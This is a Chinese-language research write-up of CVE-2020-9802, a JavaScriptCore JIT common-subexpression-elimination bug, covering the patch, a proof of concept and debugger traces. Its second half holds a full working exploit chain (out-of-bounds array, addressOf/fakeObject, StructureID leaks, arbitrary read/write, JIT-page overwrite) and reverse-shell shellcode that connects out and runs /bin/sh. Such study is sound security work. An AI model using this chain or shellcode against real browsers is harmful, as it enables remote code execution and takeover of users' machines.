【技術分享】CVE-2020-9802 JSC CSE漏洞分析
前言
編譯器優化中有一項CSE(公共子表達式消除),如果JS引擎在執行時類型收集的不正確,將導致表達式被錯誤的消除引發類型混淆。
前置知識
CSE
公共子表達式消除即為了去掉那些相同的重復計算,使用代數變換將表達式替換,并刪除多余的表達式,如
let c = Math.sqrt(a*a + a*a);
將被優化為
let tmp = a*a;let c = Math.sqrt(tmp + tmp);
這樣就節省了一次乘法,現在我們來看下列代碼
let c = o.a;f();let d = o.a;
由于在兩個表達式之間多了一個f()函數的調用,而函數中很有可能改變.a的值或者類型,因此這兩個公共子表達式不能直接消除,編譯器會收集o.a的類型信息,并跟蹤f函數,收集信息,如果到f分析完畢,o.a的類型也沒有改變,那么let d = o.a;就可以不用再次檢查o.a的類型。
在JSC中,CSE優化需要考慮的信息在Source/JavaScriptCore/dfg/DFGClobberize.h中被定義,從文件路徑可以知道,這是一個在DFG階段的相關優化,文件中有一個clobberize函數,
template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def){............................................. case CompareEqPtr: def(PureValue(node, node->cellOperand()->cell())); return;..............................................
clobberize函數中的def操作定義了CSE優化時需要考慮的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));,如果要對CompareEqPtr運算進行CSE優化,需要考慮的因素除了value本身的值,還需要的是Operand(操作數)的類型(cell)。
邊界檢查消除
與V8的checkbounds消除類似,當數組的下標分析確定在數組的大小范圍之內,則可以消除邊界檢查,但如果編譯器本身的檢查方式出現溢出等問題,編譯器認為idx在范圍之內而實際則可能不在范圍內,錯誤的消除邊界檢查將導致數組溢出。
為了研究JSC在什么條件下可以消除邊界檢查,我們使用如下代碼進行測試調試
function foo(arr,idx) { idx = idx | 0; if (idx < arr.length) { if (idx & 0x3) { idx += -2; } if (idx >= 0) { return arr[idx]; } }}
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
for (var i=0;i<0xd0000;i++) { foo(arr,2);}
debug(describe(arr));print();debug(foo(arr,0x3));
給print的函數斷點用于中斷腳本以進行調試b *printInternal,運行時加上-p選項將優化時的數據輸出為json,從json文件中,我們看到foo函數的字節碼
[ 0] enter[ 1] get_scope loc4[ 3] mov loc5, loc4[ 6] check_traps [ 7] bitor arg2, arg2, Int32: 0(const0)[ 12] get_by_id loc6, arg1, 0[ 17] jnless arg2, loc6, 29(->46)[ 21] bitand loc6, arg2, Int32: 3(const1)[ 26] jfalse loc6, 9(->35)[ 29] add arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)[ 35] jngreatereq arg2, Int32: 0(const0), 11(->46)[ 39] get_by_val loc6, arg1, arg2[ 44] ret loc6[ 46] ret Undefined(const3)
其中[ 39] get_by_val loc6, arg1, arg2用于從數組中取出數據,在DFG JIT時,其展開的匯編代碼為
0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11 0x7fffaf101fad: mov (%r11), %r11 0x7fffaf101fb0: test %r11, %r11 0x7fffaf101fb3: jz 0x7fffaf101fc0 0x7fffaf101fb9: mov $0x113, %r11d 0x7fffaf101fbf: int3 0x7fffaf101fc0: mov $0x7fffaef000dc, %r11 0x7fffaf101fca: mov $0x0, (%r11) 0x7fffaf101fce: cmp -0x8(%rdx), %esi 0x7fffaf101fd1: jae 0x7fffaf1024cb 0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0 0x7fffaf101fdc: ucomisd %xmm0, %xmm0 0x7fffaf101fe0: jp 0x7fffaf1024f2
其中的
0x7fffaf101fce: cmp -0x8(%rdx), %esi 0x7fffaf101fd1: jae 0x7fffaf1024cb
用于檢查下標是否越界,可見DFG JIT階段并不會去除邊界檢查,盡管我們在代碼中使用了if語句將idx限定在了數組的長度范圍之內。邊界檢查去除表現在FTL JIT的匯編代碼中,從json文件中可以看到FTL JIT時,對字節碼字節碼[ 39] get_by_val loc6, arg1, arg2的展開如下
D@86:<!0:-> ExitOK(MustGen, W:SideState, bc#39, ExitValid)D@63:<!0:-> CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)D@66:<!2:-> GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid) predicting NonIntAsDoubleD@85:<!0:-> KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)D@67:<!0:-> MovHint(DoubleRep:D@66, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)ValueRep(DoubleRep:Kill:D@66, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)
從中可以看到GetByVal中傳遞的參數中含有InBounds標記,那么其匯編代碼中將不會檢查下標是否越界,因為前面已經確定下標在范圍內。為了查看FTL JIT生成的匯編代碼,我們使用gdb調試,遇到print語句時會斷點停下

此時,我們對butterfly中對應的位置下一個硬件讀斷點,然后繼續運行
pwndbg> rwatch *0x7ff803ee4018Hardware read watchpoint 79: *0x7ff803ee4018pwndbg> cContinuing.
然后斷點斷下
0x7fffaf101b9c movabs r11, 0x7fffaef000dc 0x7fffaf101ba6 mov byte ptr [r11], 0 0x7fffaf101baa cmp esi, dword ptr [rdx - 8] 0x7fffaf101bad jae 0x7fffaf102071 <0x7fffaf102071> 0x7fffaf101bb3 movsd xmm0, qword ptr [rdx + rsi*8] ? 0x7fffaf101bb8 ucomisd xmm0, xmm0 0x7fffaf101bbc jp 0x7fffaf102098 <0x7fffaf102098>
我們發現這仍然存在cmp esi, dword ptr [rdx - 8]檢查了下標,這是由于FTL JIT是延遲優化的,可能還沒優化過來,我們按照前面的步驟重新試一下
0x7fffaf1039fa mov eax, 0xa 0x7fffaf103a00 mov rsp, rbp 0x7fffaf103a03 pop rbp 0x7fffaf103a04 ret 0x7fffaf103a05 movsd xmm0, qword ptr [rdx + rax*8] ? 0x7fffaf103a0a ucomisd xmm0, xmm0 0x7fffaf103a0e jp 0x7fffaf103aeb <0x7fffaf103aeb>
發現這次,邊界檢查被去除了,為了查看更多的代碼片段,我們使用gdb的dump命令將這段代碼dump出來用IDA分析
pwndbg> vmmap 0x7fffaf103a0aLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7fffaf0ff000 0x7fffaf104000 rwxp 5000 0 +0x4a0apwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000pwndbg>

可以看到語句
if (idx & 0x3) { idx += -2; }
執行完畢后,無需再一次檢查idx < arr.length,因為這是一個減法操作,正常情況下idx減去一個正數肯定會變小,小于arr.length,因此就去掉了邊界檢查。
漏洞分析利用
patch分析
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.hindex b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)--- a/Source/JavaScriptCore/dfg/DFGClobberize.h+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
case ArithAbs: if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)- def(PureValue(node));+ def(PureValue(node, node->arithMode())); else { read(World); write(Heap);@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse || node->child1().useKind() == Int52RepUse)- def(PureValue(node));+ def(PureValue(node, node->arithMode())); else { read(World); write(Heap);
該patch修復了漏洞,從patch中可以知道,這原本是一個跟CSE優化有關的漏洞,patch中加入了node->arithMode()參數,那么在CSE優化時,不僅要考慮操作數的值,還要考慮算術運算中出現的溢出等因素,即使最終的值一樣,如果其中一個表達式是溢出的,也不能進行CSE優化。
POC構造
首先從patch可以知道,修改的內容分別在ArithAbs和ArithNegate分支,它們分別對應了JS中的Math.abs和-運算。
嘗試構造如下代碼
function foo(n) { if (n < 0) { let a = -n; let b = Math.abs(n); debug(b); }}
for (var i=0;i<0x30000;i++) { foo(-2);}
foo部分字節碼如下
[ 17] negate loc7, arg1, 126..........[ 48] call loc6, loc8, 2, 18
分別代表了-n和Math.abs(n);,在DFG JIT階段,其展開為如下
[ 17]CountExecutionGetLocalArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)MovHint[ 48]CountExecutionFilterCallLinkStatusArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)PhantomPhantomMovHint
在FTL JIT階段,代碼變化如下
[ 17]CountExecutionArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)KillStackZombieHint[ 48]CountExecutionFilterCallLinkStatusKillStackZombieHint
可以看到ArithAbs被去除了,這就是漏洞所在,ArithAbs與ArithNegate的不同點在于,ArithNegate不檢查溢出,而ArithAbs會檢查溢出,因此對于0x80000000這個值,-0x80000000值仍然為-0x80000000,是一個32位數據,而Math.abs(-0x80000000)將擴展位數,值為0x80000000。顯然編譯器沒有察覺到這一點,將ArithAbs與ArithNegate認為是公共子表達式,于是便可以進行互相替換。
因此構造的POC如下
function foo(n) { if (n < 0) { let a = -n; let b = Math.abs(n); debug(b); }}
for (var i=0;i<0xc0000;i++) { foo(-2);}
foo(-0x80000000);
程序輸出如下
..............--> 2--> 2--> 2--> 2--> 2--> -2147483648
可以看到,這個值并不是Math.abs(-0x80000000)的準確值。
OOB數組構造
利用邊界檢查消除來進行數組的溢出
function foo(arr,n) { if (n < 0) { let a = -n; let idx = Math.abs(n); if (idx < arr.length) { //確定在邊界之內 if (idx & 0x80000000) { //對于0x80000000,我們減去一個數,以將idx變換到任意正值 idx += -0x7ffffffd; } if (idx >= 0) { //確定在邊界之內 return arr[idx]; //溢出 } } }}
var arr = [1.1,2.2,3.3];for (var i=0;i<0xc0000;i++) { foo(arr,-2);}
debug(foo(arr,-0x80000000));
因為編譯器的錯誤優化,idx是一個32位數,那么idx < arr.length的檢查通過,那么后續的return arr[idx]; //溢出將不會檢查右邊界,因此可以溢出數據。通過測試,發現POC有時可以成功溢出,有時不能
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 1.5488838078e-314root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> undefined
這是因為漏洞最終發生在FTL JIT,這個是延遲優化的,可能在執行最后的debug(foo(arr,-0x80000000));還沒生成好JIT代碼,因此具有微小的隨機性,不影響漏洞利用。為了查看FTL JIT的匯編代碼,我們使用前面介紹的方法,對arr的butterfly下硬件斷點,然后停下時將代碼片段dump出來
seg000:00007FFFAF10346F mov ecx, eaxseg000:00007FFFAF103471 neg ecxseg000:00007FFFAF103473 mov rdx, [rdx+8]seg000:00007FFFAF103477 cmp ecx, [rdx-8]seg000:00007FFFAF10347A jl loc_7FFFAF103496seg000:00007FFFAF103480 mov dword ptr [rsi+737C1Ch], 1seg000:00007FFFAF10348A mov rax, 0Ahseg000:00007FFFAF103491 mov rsp, rbpseg000:00007FFFAF103494 pop rbpseg000:00007FFFAF103495 retnseg000:00007FFFAF103496 ; ---------------------------------------------------------------------------seg000:00007FFFAF103496seg000:00007FFFAF103496 loc_7FFFAF103496: ; CODE XREF: seg000:00007FFFAF10347A↑jseg000:00007FFFAF103496 test ecx, 80000000hseg000:00007FFFAF10349C jnz loc_7FFFAF1034E8seg000:00007FFFAF1034A2 test ecx, ecxseg000:00007FFFAF1034A4 jns loc_7FFFAF1034C0................seg000:00007FFFAF1034E8 loc_7FFFAF1034E8: ; CODE XREF: seg000:00007FFFAF10349C↑jseg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003hseg000:00007FFFAF1034EF sub ecx, eaxseg000:00007FFFAF1034F1 test ecx, ecxseg000:00007FFFAF1034F3 jns loc_7FFFAF1034C0seg000:00007FFFAF1034F9 jmp loc_7FFFAF1034AA................seg000:00007FFFAF1034C0 loc_7FFFAF1034C0: ; CODE XREF: seg000:00007FFFAF1034A4↑jseg000:00007FFFAF1034C0 ; seg000:00007FFFAF1034F3↓jseg000:00007FFFAF1034C0 mov eax, ecxseg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]seg000:00007FFFAF1034C7 ucomisd xmm0, xmm0seg000:00007FFFAF1034CB jp loc_7FFFAF1035A8seg000:00007FFFAF1034D1 movq rax, xmm0seg000:00007FFFAF1034D6 sub rax, rdiseg000:00007FFFAF1034D9 mov dword ptr [rsi+737C1Ch], 1seg000:00007FFFAF1034E3 mov rsp, rbpseg000:00007FFFAF1034E6 pop rbpseg000:00007FFFAF1034E7 retn
從中可以看出,上述匯編代碼正好印證了我們前面的分析,neg ecx代表了Math.abs(),然后cmp ecx, [rdx-8]比較右邊界,但由于ecx是32位,0x80000000比較通過,然后
seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003hseg000:00007FFFAF1034EF sub ecx, eax
使得ecx為3,最后通過
seg000:00007FFFAF1034C0 mov eax, ecxseg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]
進行數組溢出讀取數據。那么我們可以用同樣的方法,越界寫改寫下一個數組對象butterfly中的length和capacity,從而構造一個oob的數組對象。首先要在內存上布局三個相鄰的數組對象
arr0 ArrayWithDouble,arr1 ArrayWithDouble,arr2 ArrayWithContiguous,
通過arr0溢出改寫arr1的length和capacity,即可將arr1構造為oob的數組
var arr = [1.1,2.2,3.3];var oob_arr= [2.2,3.3,4.4];var obj_arr = [{},{},{}];
debug(describe(arr));debug(describe(oob_arr));debug(describe(obj_arr));print();
發現三個數組的butterfly不相鄰,并且類型不大對
--> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463
前兩個類型為CopyOnWriteArrayWithDouble,導致它們與arr2的butterfly不相鄰,于是嘗試這樣構造
let noCow = 13.37;var arr = [noCow,2.2,3.3];var oob_arr = [noCow,2.2,3.3];var obj_arr = [{},{},{}];
debug(describe(arr));debug(describe(oob_arr));debug(describe(obj_arr));print();--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932
這回就相鄰了,然后我們利用前面的漏洞構造oob數組
function foo(arr,n) { if (n < 0) { let a = -n; let idx = Math.abs(n); if (idx < arr.length) { //確定在邊界之內 if (idx & 0x80000000) { //對于0x80000000,我們減去一個數,以將idx變換到任意正值 idx += -0x7ffffffd; } if (idx >= 0) { //確定在邊界之內 arr[idx] = 1.04380972981885e-310; //溢出 } } }}
let noCow = 13.37;var arr = [noCow,2.2,3.3];var oob_arr = [noCow,2.2,3.3];var obj_arr = [{},{},{}];
for (var i=0;i<0xc0000;i++) { foo(arr,-2);}foo(arr,-0x80000000);
debug(oob_arr.length);
輸出如下,需要多次嘗試,原因前面說過
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 4919
利用oob_arr和obj_arr即可輕松構造出addressOf和fakeObject原語
泄露StructureID
getByVal
在新版的JSC中,加入了StructureID隨機化機制,使得我們前面介紹的噴射對象,并猜測StructureID的方法變得困難,成功率極大降低。因此需要使用其他方法,一種方法是利用getByVal,
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode){ .............................. if (subscript.isUInt32()) { ....................... } else if (baseValue.isObject()) { JSObject* object = asObject(baseValue); if (object->canGetIndexQuickly(i)) return object->getIndexQuickly(i);
其中canGetIndexQuickly源碼如下
bool canGetIndexQuickly(unsigned i) const { const Butterfly* butterfly = this->butterfly(); switch (indexingType()) {............... case ALL_DOUBLE_INDEXING_TYPES: { if (i >= butterfly->vectorLength()) return false; double value = butterfly->contiguousDouble().at(this, i); if (value != value) return false; return true; }............ }
getIndexQuickly代碼如下
JSValue getIndexQuickly(unsigned i) const{............. case ALL_DOUBLE_INDEXING_TYPES: return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));............... } }
從上面可以知道getIndexQuickly這條路徑不會使用到StructureID,那么如何觸發getByVal呢?經過測試,發現對不是數組類型的對象,使用[]運算符可以觸發到getByVal
var a = {x:1};var b = a[0];debug(b);print();
因此,我們可以嘗試構造一個假的StructureID,使得它匹配StructureID時發現不是數組類型,就可以調用到getByVal
var arr_leak = new Array(noCow,2.2,3.3);function leak_structureID(obj) { let jscell_double = p64f(0x00000000,0x01062307); let container = { jscell:jscell_double, butterfly:obj }
let container_addr = addressOf(container); let hax = fakeObject(container_addr[0]+0x10,container_addr[1]); f64[0] = hax[0]; let structureID = u32[0]; //修復JSCell u32[1] = 0x01082307 - 0x20000; container.jscell = f64[0];; return structureID;}
var structureID = leak_structureID(arr_leak);debug(structureID);print();
調試如下
baseValue.isObject()判斷通過,將進入分支
? 962 } else if (baseValue.isObject()) { 963 JSObject* object = asObject(baseValue); 964 if (object->canGetIndexQuickly(i)) 965 return object->getIndexQuickly(i); 966 967 bool skipMarkingOutOfBounds = false;pwndbg> p baseValue.isObject()$3 = true
接下來,我們跟蹤進入canGetIndexQuickly函數
In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h 272 return false; 273 case ALL_INT32_INDEXING_TYPES: 274 case ALL_CONTIGUOUS_INDEXING_TYPES: 275 return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i); 276 case ALL_DOUBLE_INDEXING_TYPES: { ? 277 if (i >= butterfly->vectorLength()) 278 return false; 279 double value = butterfly->contiguousDouble().at(this, i); 280 if (value != value) 281 return false; 282 return true;pwndbg> p butterfly->vectorLength()$11 = 32767
這里獲取了容量,如果i在長度范圍之內,則返回true,即可成功取得數據。由于這里我們是將arr_leak這個對象當成了butterfly,因此容量也就是&arr_leak-0x4處的數據,即
pwndbg> x /2wx 0x7fffef1613e8-0x80x7fffef1613e0: 0xef1561a0 0x00007fff
與32767對應上了。由此我們看出,這種方法的條件是&arr_leak-0x4處的數據要大于0即可,因此可以在內存布局的時候在arr_leak前面布置一個數組并用數據填充。如果不在前面布局一個數組用于填充,則利用程序將受到隨機化的影響而不穩定。
Function.prototype.toString.call
另一個方法是通過toString() 函數的調用鏈來實現任意地址讀數據,主要就是偽造調用鏈中的結構,最終使得identifier指向需要泄露的地址處,然后使用Function.prototype.toString.call獲得任意地址處的數據,可參考文章
function leak_structureID2(obj) { // https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
var unlinkedFunctionExecutable = { m_isBuitinFunction: i2f(0xdeadbeef), pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, m_identifier: {}, };
var fakeFunctionExecutable = { pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8, m_executable: unlinkedFunctionExecutable, };
var container = { jscell: i2f(0x00001a0000000000), butterfly: {}, pad: 0, m_functionExecutable: fakeFunctionExecutable, };
let fakeObjAddr = addressOf(container); let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]);
unlinkedFunctionExecutable.m_identifier = fakeObj; container.butterfly = obj;
var nameStr = Function.prototype.toString.call(fakeObj);
let structureID = nameStr.charCodeAt(9);
// repair the fakeObj's jscell u32[0] = structureID; u32[1] = 0x01082309-0x20000; container.jscell = f64[0]; return structureID;}
任意地址讀寫原語
在泄露了StructureID以后,就可以偽造數組對象進行任意地址讀寫了
var structureID = leak_structureID2(arr_leak);u32[0] = structureID;u32[1] = 0x01082309-0x20000;
//debug(describe(arr_leak));debug('[+] structureID=' + structureID);
var victim = [1.1,2.2,3.3];victim['prop'] = 23.33;
var container = { jscell:f64[0], butterfly:victim}
var container_addr = addressOf(container);var hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
var padding = [1.1,2.2,3.3,4.4];var unboxed = [noCow,2.2,3.3];var boxed = [{}];
/*debug(describe(unboxed));debug(describe(boxed));debug(describe(victim));debug(describe(hax));*/
hax[1] = unboxed;var sharedButterfly = victim[1];hax[1] = boxed;victim[1] = sharedButterfly;
function NewAddressOf(obj) { boxed[0] = obj; return u64f(unboxed[0]);}
function NewFakeObject(addr_l,addr_h) { var addr = p64f(addr_l,addr_h); unboxed[0] = addr; return boxed[0];}
function read64(addr_l,addr_h) { //必須保證在vicim[-1]處有數據,即used slots和max slots字段,否則將導致讀取失敗 //因此我們換用另一種方法,即利用property去訪問 hax[1] = NewFakeObject(addr_l + 0x10,addr_h); return NewAddressOf(victim.prop);}
function write64(addr_l,addr_h,double_val) { hax[1] = NewFakeObject(addr_l + 0x10,addr_h); victim.prop = double_val;}
劫持JIT編譯的代碼
var shellcodeFunc = getJITFunction();shellcodeFunc();var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]);
var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16));
debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));
const shellcode = [ 0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29, 0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00, 0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A, 0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24, 0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05];
function ByteToDwordArray(payload){
let sc = [] let tmp = 0; let len = Math.ceil(payload.length/6) for (let i = 0; i < len; i += 1) { tmp = 0; pow = 1; for(let j=0; j<6; j++){ let c = payload[i*6+j] if(c === undefined) { c = 0; } pow = j==0 ? 1 : 256 * pow; tmp += c * pow; } tmp += 0xc000000000000; sc.push(tmp); } return sc;}
//debug(describe(shellcodeFunc));
//debug(shellcode.length);//替換jit的shellcodelet sc = ByteToDwordArray(shellcode);for(let i=0; i write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));}
debug("trigger shellcode")//執行shellcodeprint();shellcodeFunc();
print();
這里,我們使用ByteToDwordArray將shellcode轉為6字節有效數據每個的數組,這樣是為了在write64時能一次寫入6個有效數據,減少for(let i=0; i結果展示

感想
通過本次研究學習,理解了JSC的邊界檢查消除機制,同時也對JSC中的CSE有了一些了解,其與V8之間也非常的相似。
參考
FireShell2020——從一道ctf題入門jsc利用
WebKit Commitdiff
eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods
JITSploitation I:JIT編譯器漏洞分析
Project Zero: JITSploitation I: A JIT Bug